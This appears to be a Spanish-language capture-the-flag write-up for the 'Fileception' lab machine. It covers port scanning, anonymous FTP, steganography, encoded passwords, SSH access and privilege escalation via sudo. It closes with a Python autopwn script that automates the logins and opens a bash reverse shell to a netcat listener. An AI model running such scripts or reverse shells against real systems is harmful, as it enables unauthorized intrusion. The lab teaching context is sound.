> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/fileception-write-up.md).

# Fileception write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/vgrPH8mi7VMvtz48UNZH" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/fQHDhFV1amyejGXglCR1" alt=""><figcaption></figcaption></figure>

EL escaneo indica que el puerto 21 (FTP), el 22 (SSH) y el 80 (HTTP) están abiertos. También indica que podemos acceder al servicio FTP de manera anónima, por lo que iniciamos sesión en el servicio FTP.

```bash
ftp  172.17.0.2
```

<figure><img src="/files/nqvc8MIq0h4JSywYSBhz" alt=""><figcaption></figcaption></figure>

Dentro encontramos la imagen `hello_peter.jpg`, así que la descargamos en nuestra máquina con get.

```bash
get hello_peter.jpg
```

<figure><img src="/files/ooHgm4DWFWICZJzudDwg" alt=""><figcaption></figcaption></figure>

Ahora ingresaremos la IP de la máquina víctima en el navegador y observamos lo siguiente:

<figure><img src="/files/2vf4TeyKV4JEnFfbaMgK" alt=""><figcaption></figcaption></figure>

Contemplamos la página por defecto de apache2, sin embargo, si vamos al código fuente encontramos lo siguiente:

<figure><img src="/files/1eKbst8D33tx501amMIk" alt=""><figcaption></figcaption></figure>

Esto indica la clave `@UX=h?T9oMA7]7hA7]:YE+*g/GAhM4` la cual está codificada en base85 y representa `base_85_decoded_password`.

<figure><img src="/files/OcLLu15SS8QRZ0wjjMeO" alt=""><figcaption></figcaption></figure>

Así que ahora usaremos la herramienta **steghide** para extraer un archivo que se encuentre dentro de la imagen que obtuvimos anteriormente `hello_peter.jpg`, para ello usaremos `base_85_decoded_password` como salvoconducto.

<figure><img src="/files/itGsck3e09YY2vn3Szl3" alt=""><figcaption></figcaption></figure>

Esto extrae el archivo `you_find_me.txt`, el cual contiene lo siguiente:

<figure><img src="/files/RHZb58MkWVmeRXxWIHIW" alt=""><figcaption></figcaption></figure>

Esto es un mensaje en OoK! el cual representa `9h889h23hhss2`.

<figure><img src="/files/0r1NzpkYdtavXDdM7fUc" alt=""><figcaption></figcaption></figure>

Así que vamos a iniciar sesión por el servicio SSH como `peter` usando `9h889h23hhss2` como contraseña.

<figure><img src="/files/LiaILXzwUk2LIIRc0EJX" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima encontramos el archivo `importante_octopus.odt` en el directorio `/tmp`, los archivo con extensión `.odt` son archivos comprimidos en formato ZIP, así que vamos a pasar el archivo a nuestra máquina y a descomprimirlo.

```bash
scp peter@172.17.0.2:/tmp/importante_octopus.odt .
```

<figure><img src="/files/g86biw5WanfipZov1DB4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yWCeC50G0R1gv60n5qUe" alt=""><figcaption></figcaption></figure>

Si ahora revisamos el contenido del archivo `leerme.xml` encontramos lo siguiente:

<figure><img src="/files/1TnYgKXLUXf0Pwy9bRLe" alt=""><figcaption></figcaption></figure>

Esto indica la contraseña del usuario `octopus` codificada en base64, la cual representa `80h2380h34uouo3h4`. Así que iniciamos sesión como `octopus`.

<figure><img src="/files/HcHNSgDldDma7cyychKf" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `octopus`, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar cualquier comando como cualquier usuario.

<figure><img src="/files/ExxY6BJjeOkOsrcCR3FR" alt=""><figcaption></figcaption></figure>

Por lo que para obtener una shell como usuario `root` solo tendríamos que ejecutar el comando `sudo su`.

<figure><img src="/files/tlbGhgQR234Ask5qwTyJ" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess



def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send "ssh peter@172.17.0.2\r"
expect "password:  "
send "9h889h23hhss2\r"
sleep 1
expect "$ "
send "su octopus\r"
sleep 1
expect " "
send "80h2380h34uouo3h4\r"
sleep 1
expect " "
send "sudo su\r"
sleep 1
expect " "
send "80h2380h34uouo3h4\r"
sleep 1
expect " "
send "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")


def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(0.2)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])


def main():

    crear_script_expect()

    time.sleep(1)

    iniciar_escucha()

    time.sleep(0.2)

    os.system("nc -nlvvp 4444 ")

    os.system("rm script1.exp")
    

if __name__ == "__main__":
    main()
```
